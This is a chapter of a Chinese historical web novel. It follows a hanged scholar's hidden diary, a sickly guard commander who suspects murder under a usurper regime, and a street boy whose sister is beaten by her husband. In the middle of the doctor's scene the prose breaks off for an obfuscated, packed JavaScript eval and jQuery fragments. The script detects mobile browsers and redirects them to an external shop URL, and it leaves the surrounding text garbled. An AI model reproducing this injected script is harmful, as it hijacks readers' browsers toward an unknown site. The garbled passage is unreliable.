清明时节的雨，细得像筛过的灰，落在京城的瓦檐上，聚成一线，滴滴答答敲着青石板。南城臭水胡同深处，那间用破木板和油毡搭成的窝棚门口，已经围了三五个探头探脑的街坊。


    “真吊死了？”卖炊饼的王麻子伸长脖子，手里半张饼都忘了吃。


    “可不是，昨儿夜里就没动静，今早李瘸子去借火，推门一看——”说话的是对门裁缝铺的陈嫂，声音压得低，眼里却闪着看热闹的光，“舌头吐这么长，脸都紫了！”


    窝棚里确实吊着个人。


    柳砚，那个几个月前还在贡院外拦马喊冤的落第举子，如今像片破布似的挂在梁上。脚下倒着一只瘸腿木凳，地上散着几本抄到一半的《三字经》，墨迹被漏进来的雨水洇成一团团鬼脸。


    顺天府的赵班头来的时候，日头已经爬过屋檐。他打着哈欠掀开破门帘，只瞥了一眼，就摆摆手：“自缢，结案。”


    “大人，这、这柳举人前几日还好好的，还说攒够了钱就回江南……”住在隔壁的老童生颤巍巍开口。


    赵班头乜斜他一眼，从怀里摸出鼻烟壶，深吸一口：“好好的？考不上功名，抄书也糊不了口，一时想不开，多的是。你们这些穷酸文人，我见多了——心比天高，命比纸薄。”


    笔录潦草画了几行，尸首被两个衙役用草席一卷，拖走了。围观的渐渐散了，只剩下窝棚门口那滩被踩得泥泞的纸灰——那是柳砚前日清明时，给早亡父母烧的纸钱余烬。


    雨还在下。纸灰混进泥水里，黑乎乎的，像这个王朝身上一块洗不掉的污痂。


    狗剩是晌午过后才溜达过来的。


    十六岁的少年，瘦得像根竹竿，额角那道暗红色的烫疤在阴雨天里隐隐发痒。他蹲在窝棚门口，眯着那双浑浊的褐色眼睛往里看。


    “三眼猴，你也来捡漏？”巷口卖菜的孙婆子啐了一口，“晦气地方，有什么可看的。”


    狗剩没搭理，泥鳅似的钻进窝棚。


    里头一股霉味混着淡淡的墨臭。地上除了倒地的木凳，还有个破藤箱。狗剩踢开箱子盖——几件打补丁的衣衫，半块硬得像石头的馍，还有一本用油纸仔细包着的册子。


    他捡起册子，拍了拍灰。


    翻开，是柳砚的笔迹。开头几页还工整，抄着《论语》《孟子》；越往后越潦草，夹杂着许多零碎笔记：


    “腊月初七，替李掌柜抄《金刚经》一部，得钱十五文……”


    “正月廿三，米价又涨，一斗需八十文……”


    “二月十八，遇旧日同窗张秀才，言今科举子多贿买关节，寒门无望。夜不能寐。”


    最后几页，字迹狂乱，简直像鬼画符：


    “天地不仁……科场如市……何为公道？！”


    “萧贼篡位，竟无人敢言……读书何用？读书何用！”


    “今见北镇抚司缇骑过市，百姓避如蛇蝎……此非朝廷，实乃阎罗殿也。”


    狗剩认得字不多，但“萧贼”“北镇抚司”这几个字，他见过——在茶馆听评书时，说书先生提过一耳朵，立刻被茶客嘘声压下去。


    他心跳快了两拍，像捏着块烫炭。


    正犹豫着，窝棚外传来脚步声。狗剩浑身一紧，把册子往怀里一塞，缩到阴影里。


    进来的是个穿青色棉袍的中年人，面白无须，举止斯文。他在屋里转了一圈，目光扫过空荡荡的房梁、倒地的木凳，最后停在那个被翻乱的藤箱上。


    “有人来过。”他轻声自语，声音温润得像玉，却让狗剩脊背发凉。


    那人蹲下，捡起箱底一片碎纸——是册子封面撕下的边角，上面残留半个“柳”字。他指尖摩挲着纸边，琥珀色的眼眸微微眯起。


    狗剩屏住呼吸，把自己缩得更小。


    好在青衣人并未久留。他站起身，掸了掸袍角并不存在的灰，转身走出窝棚。狗剩从板缝里看见他上了一辆不起眼的青帷马车，车帘落下前，那人回头望了一眼窝棚。


    那眼神，像刀子刮过狗剩的皮肤。


    马车驶远，狗剩才敢喘气。他摸着怀里的册子，额角的疤隐隐发烫。


    这玩意儿，怕是惹祸的东西。


    但他没扔。反而揣得更紧，猫腰钻出窝棚，消失在胡同交错的阴影里。


    同一时刻，北镇抚司衙门深处。


    萧道煜坐在值房的圈椅里，面前摊着一份顺天府刚送来的案卷。绯色官袍松垮垮挂在肩上，衬得她脸色愈发苍白。她没戴冠，长发用一根乌木簪草草绾着，几缕碎发散在额前。


    案卷上写着：柳砚，江南举子，寓京抄书为生，于天武元年三月十一日自缢身亡，现场无争斗痕迹，遗书言“科场无望，生计艰难”，属自尽。


    她指尖敲着纸面，敲了三下，停下。


    “自缢？”她开口，声音哑得像砂纸磨过。


    侍立在侧的萨林立刻躬身：“顺天府是这么报的。要属下派人去查实么？”


    萧道煜没答。她伸手去端桌上的茶盏，手指却忽然一颤，瓷盏“哐当”翻倒，褐色的药茶泼了一案卷。萨林一步上前，用袖口去擦，她却摆摆手。


    “不用。”她盯着被茶水洇晕的“自缢”二字，忽然低低笑起来，“好一个‘自缢’……科场案刚过去多久？永熙四年的血还没干透，现在又死一个。”


    她站起身，走到窗边。窗外是北镇抚司的校场，几个番子正在操练，刀光在阴雨天里泛着冷铁的光。更远处，紫禁城的琉璃瓦在雨雾中朦朦胧胧，像海市蜃楼。


    “萨林。”她背对着他，声音轻得像叹息，“你说，这大雍的江山，是不是从根子上……就烂透了？”


    萨林沉默。他知道世子不是在问他。


    萧道煜也不需要回答。她只是望着那一片朦胧的宫阙，琥珀色的瞳孔深处，有什么东西在一点点熄灭。


    几个月前，她还是永熙帝手里最锋利的那把刀，替他铲除杨廷鹤，清洗科举舞弊。她以为自己在肃清吏治，在匡扶朝纲。直到魏进忠在司礼监对她冷笑：“萧镇抚使，你真当自己是在替天行道？你不过是陛下手里一把刀，刀需要知道为什么砍人吗？”


    然后永熙帝死了。不，不是死，是“暴疾而崩”。她的父亲萧善钧“悲愤”班师，在百官“恳请”下黄袍加身，改元天武。


    整个过程干净利落，像一场排演过无数遍的大戏。


    而她，这把曾经的“刀”，被新帝亲口封为靖王世子，继续执掌北镇抚司。荣耀加身，她却只觉得那身绯袍重得像铁铸的棺材。


    “世子。”萨林的声音把她拉回现实，“万寿节的章程送来了，礼部请您过目。”


    萧道煜转身，接过那卷烫金的礼单。扫了一眼，嘴角扯出个讥诮的弧度。


    “万寿节……呵，父皇登基后的第一个圣寿，自然要办得风光。”她指尖划过那一长串条目：南海珊瑚树、西域夜明珠、高丽千年参、暹罗象牙雕……“四方来朝，万国咸服，好一派太平盛世。”


    可她知道，为了筹备这场万寿节，户部已经加了三次江南丝绢的税。知道归知道，她什么也做不了。


    “按礼部的办吧。”她把礼单丢回桌上，像丢开什么脏东西，“另外，柳砚的案子……让伊凡去盯一眼。”


    萧道煜重新坐回圈椅，闭上眼，“告诉他，我要知道柳砚死前见过谁，说过什么，哪怕是他半夜梦话骂了谁，我也要一字不漏。”


    “是。”


    萨林退下。值房里只剩下萧道煜一个人。她睁开眼，望着头顶描金绘彩的梁栋，忽然想起柳砚拦马那日，那个书生举着浸湿的考卷，眼里烧着火，嘶吼：“寒窗十年，不如权贵一笔！这科场，究竟是为国选才，还是为豪门添狗？！”


    当时她一脚踢飞了考卷。


    现在想来，那一脚，踢飞的何止是纸。


    是她曾经相信过的，关于“公道”的幻象。


    窗外雨声渐密，敲在瓦上，像无数细小的鬼在叩门。


    狗剩揣着那本要命的册子，没回破庙，先拐去了肉铺街。


    还没到张屠户家门口，就听见里头摔盆砸碗的动静，夹杂着女人的哭嚎和男人的骂骂咧咧。


    “赔钱货！老子娶你是让你生儿子的，不是让你整天哭丧着脸！”张屠户的嗓门像破锣，整条街都听得见。


    “我、我没有……”是二妮的声音，细细的，抖得不成调。


    “没有？上个月进门到现在，肚子一点动静都没有！老子前头那个婆娘，进门三个月就怀了！”张屠户吼着，接着是“啪”一声脆响，像巴掌扇在肉上。


    狗剩脚步顿住，蹲在对街的馄饨摊后面，从竹帘缝里往里看。


    肉铺后院，二妮捂着脸跌在地上，身上那件半新的红袄子沾满了泥水。张屠户提着杀猪刀，刀尖还在往下滴血水——不知是猪血还是什么。他满脸横肉，眼珠子瞪得像铜铃。


    “哭！再哭老子把你当猪宰了！”屠户举刀虚劈。


    二妮吓得连哭都不敢了，只捂着嘴哆嗦。


    狗剩看着，额角的疤一阵阵发烫。他想冲进去，脚却像钉在地上。


    冲进去能怎样？张屠户一拳能把他揍趴下。报官？顺天府的衙役见了屠户都得赔笑脸——人家每月孝敬的猪下水不是白给的。


    正想着，他娘从屋里掀帘子出来了。


    狗剩娘今年还不到四十，看上去像五十的人。背佝偻着，手里攥着块抹布，脸上堆着小心翼翼的笑：“消消气，二妮不懂事，我教她……”


    “教？你怎么教的？养出这么个不下蛋的母鸡！”张屠户唾沫星子喷过来。


    狗剩娘腰弯得更低，几乎要跪下去：“是是是，是我没教好……您再宽限些时日，二妮年纪小，兴许、兴许下个月就有了……”


    张屠户冷哼，把刀往砧板上一剁：“下个月要是再没动静，老子就把她卖到窑子里去！反正当初娶她也没花几个钱，你儿子在军营是死是活还不知道呢，指望不上！”


    这话像针，扎进狗剩娘心窝里。她身子晃了晃，扶住门框才站稳。


    狗剩躲在巷子口，拳头攥得死紧，指甲掐进掌心。


    大哥。服兵役三年了，一封信都没有。有人说死在北疆了，有人说逃了，谁也不知道。娘把二妮嫁给张屠户，就是图个倚仗——屠户有钱有肉，至少饿不死。


    可这倚仗，是拿二妮的命换的。


    院里，张屠户骂够了，提着刀回屋喝酒。狗剩娘这才敢去扶二妮，母女俩抱在一起，压抑着声音哭。


    狗剩转身，没再看。


    他沿着墙根往回走，雨还在下，街边的积水倒映着灰蒙蒙的天，像一面面破碎的镜子。


    镜子里，他看见自己的脸——额角烫疤，眼睛浑浊，一身破衣烂衫。


    柳砚那样的读书人，读了圣贤书，最后吊死在窝棚里。


    二妮本分老实，嫁了人却要挨打受骂。


    他狗剩，连字都认不全的混混，又能怎样？


    可怀里的册子，沉甸甸的，像揣着一块烧红的炭。


    他忽然想起茶馆说书先生讲过的一句话：“蝼蚁虽小，尚知偷生；匹夫一怒，亦能溅血。”


    他不知道什么叫“匹夫一怒”。


    但他知道，如果连偷生都偷不下去，那剩下的，只有溅血了。


    夜深，静和庐。


    这是京城西南角一处不起眼的宅子，门外无匾无联，只两盏素白灯笼在夜风里摇晃。宅内却别有洞天——三进院落，回廊曲折，满庭药香。廊下挂着几十个竹匾，晾着各色药材：当归、黄芪、三七……在月光下泛着干燥的暖香。


    正屋东厢，斐兰度正在捣药。他穿着半旧的石青色葛布长衫，袖口挽到肘部，露出清癯的手腕。药杵在铜臼里一下一下，声音沉实，像心跳。


    门被推开，夜风灌入。


    萧道煜披着玄色大氅进来，肩头被雨打湿一片深色。她没带随从，连萨林都留在门外。


    斐兰度头也不抬：“鞋底沾泥了，蹭干净再进来。”


    萧道煜当真在门垫上蹭了蹭鞋，才走到药案对面坐下。她摘了兜帽，长发散落，脸色在灯下白得透明，眼下两团青黑。


    “斐先生。”她开口，声音哑得厉害。


    斐兰度这才抬眼，打量她片刻：“又咳血了？”


    “一点点。”


    “伸手。”


    萧道煜伸出右手。腕骨伶仃，皮肤薄得能看见淡青的血管。斐兰度三指搭上去，静默片刻，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068340|193874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眉头皱起。


    “脉象浮滑，中焦郁结，肝火灼肺。”他收回手，继续捣药，“你最近是不是又在服‘阳关三叠’？”


    萧道煜没否认。


    斐兰度药杵重重一捣：“那是虎狼药！暂时提振精神，实则透支心脉。你再吃下去，不出半年，大罗金仙也救不回来。”


    “半年……”萧道煜喃喃，忽然笑起来，“够了。”


    “够什么？”


    “够看到这王朝……还能烂到什么地步。”


    斐兰度停下动作，看着她。灯影里，位极人臣的靖王世子，像个纸糊的人偶，一碰就碎。


    “柳砚死了。”萧道煜望着窗外漆黑的夜色，自顾自说，“顺天府说是自缢。可我知道不是。他那样的人，宁可抱着《孟子》饿死，也不会自己解裤带上吊。”


    “你知道又如何？”斐兰度语气冷淡，“给他翻案？然后呢？牵扯出科场案，再牵扯出杨廷鹤案，最后扯到你父王头上——你敢吗？”


    萧道煜沉默。


    她不敢。不是怕死，是怕死得毫无意义。柳砚死了，还能留一本笔记。她若死了，只会被史官写成“靖王世子萧道煜，天武年间暴病而卒”，轻描淡写，抹去所有痕迹。


    “斐先生。”她忽然问，“你说，人活一世，到底是为了什么？”


    斐兰度继续捣药：“为了活着。”


    “若活着只剩痛苦呢？”


    “那就想办法少痛苦一点。”药杵声顿了顿，“比如，别总想着替天行道。这世道，天道自己都未必管得过来。”


    萧道煜笑了，笑着笑着咳起来，赶紧用帕子捂住嘴。摊开时，帕心一点猩红，像雪地里落梅。


    斐兰度瞥了一眼，没说话，起身从药柜里取出一只青瓷瓶，倒出三粒乌黑药丸：“含着，别吞。能镇咳，也能止痛。”


    “止痛……”萧道煜含了药，舌尖泛开苦味，“心口的痛，也能止么？”


    “心口的痛，得靠你自己。”斐兰度坐回案后，“要么看开，要么麻木。你选哪个？”


    萧道煜没选。她望着窗外，雨不知何时停了，云缝里漏下一线月光，照在庭院那株老梅树上。梅花早谢了，只剩虬枝，在风里张牙舞爪，像什么冤魂伸向天空的手。


    “我哪个都选不了。”她轻声说，“我这双眼……看得太清楚了。”


    清楚看见父亲如何勾结白莲教、如何与匈奴交易、如何用太原八万军民的尸骨铺就登基之路。


    清楚看见自己如何从一把“刀”，变成权力祭坛上华丽的祭品。


    清楚看见这盛世华袍下，爬满的虱子和烂疮。


    看得清楚，却无能为力。这才是最深的痛。


    斐兰度不再劝。他太了解眼前这个人——清醒到极致，又执拗到极致。这样的人，注定要在痛苦里燃尽自己。


    “药。”他又推过去一瓶，“石瘕若疼得厉害，一次一粒，不可多用。”


    萧道煜接过，握在掌心。瓷瓶冰凉，她却觉得烫。


    “多谢先生。”她起身，重新裹好大氅。


    走到门口，她回头：“先生信命么？”


    斐兰度摇头：“我信药石，信针砭，不信虚无缥缈的东西。”


    “我从前也不信。”萧道煜笑了笑，那笑里带着说不出的苍凉，“可现在……我开始信了。”


    信有些人，生来就是要在泥泞里挣扎，在黑暗里燃烧，最后化为灰烬，滋养下一场轮回的恶。


    她推门出去，身影融入夜色。


    斐兰度望着她消失的方向，良久，轻轻叹了口气。


    药杵声又响起，一下，一下，像在为谁敲着无声的丧钟。


    破庙里，狗剩把册子藏在佛像底座下的老鼠洞里。


    泥塑的弥勒佛咧着嘴笑，肚皮上的金漆早剥落了大半，露出里头灰黄的泥胚。狗剩对着佛像拜了拜，不是求保佑，是求别怪罪——借您地盘藏点要命的东西，您大人大量。


    拜完，他蜷在墙角干草堆里，盯着屋顶破洞漏下的月光发呆。


    怀里还揣着白天从柳砚窝棚顺来的半块硬馍。他掰了一小块放进嘴里，用唾液慢慢含软，一点点咽下去。像只老鼠，珍惜每一□□命的粮食。


    大哥的脸在眼前晃。三年前离家时，大哥揉着他的脑袋说：“狗剩，哥去挣军功，回来给你买肉吃，让娘和妹子过好日子。”


    现在，肉是吃上了——二妮嫁了屠户，偶尔能偷摸带回几块猪下水。可那日子，算“好”么？


    他又想起柳砚册子上那些字：“萧贼篡位……北镇抚司……阎罗殿……”


    狗剩不识字时，觉得天就是头顶那片，皇帝就是庙里菩萨一样的存在。认得几个字后，才知道天会塌，菩萨会吃人。


    正胡思乱想，庙外传来脚步声。


    狗剩浑身一紧，摸向怀里藏的短刀——那是用半斤偷来的废铁找铁匠打的，刃都卷了，但握在手里踏实。


    进来的是黑皮。


    黑皮是狗剩的“兄弟”，一起偷过鸡，一起挨过揍。


    “狗剩。”黑皮蹲到他面前，脸上带着笑，眼里却没笑意，“有个活，干不干？”


    “什么活？”


    “大慈恩寺招短工，管吃管住，一天三十文。”黑皮压低声，“我去看了，活不重，就是搬搬东西。寺里大师父说了，做满三个月，还给额外赏钱。”


    狗剩眯起眼：“这么好的事，轮得到咱们？”


    黑皮啧了一声：“这不是寺里要办万寿节的法会，缺人手嘛。再说了，我娘病着，急需钱抓药……狗剩，咱兄弟一场，有福同享。你去不去？”


    狗剩盯着黑皮的眼睛。那双眼睛里，有急切，有闪烁，还有一丝他看不透的东西。


    “去。”狗剩吐出这个字。


    黑皮咧嘴笑了，拍拍他肩膀：“够意思！明儿一早，寺后门集合。”


    黑皮走了，狗剩重新躺回草堆。


    他不知道自己这个决定对不对。但他知道，一天三十文，三个月就是两千七百文。够给二妮攒点私房钱，够……够他做点别的。


    月光从破洞移开，庙里彻底黑了。


    狗剩在黑暗里睁着眼，额角那道疤，烫得像要烧起来。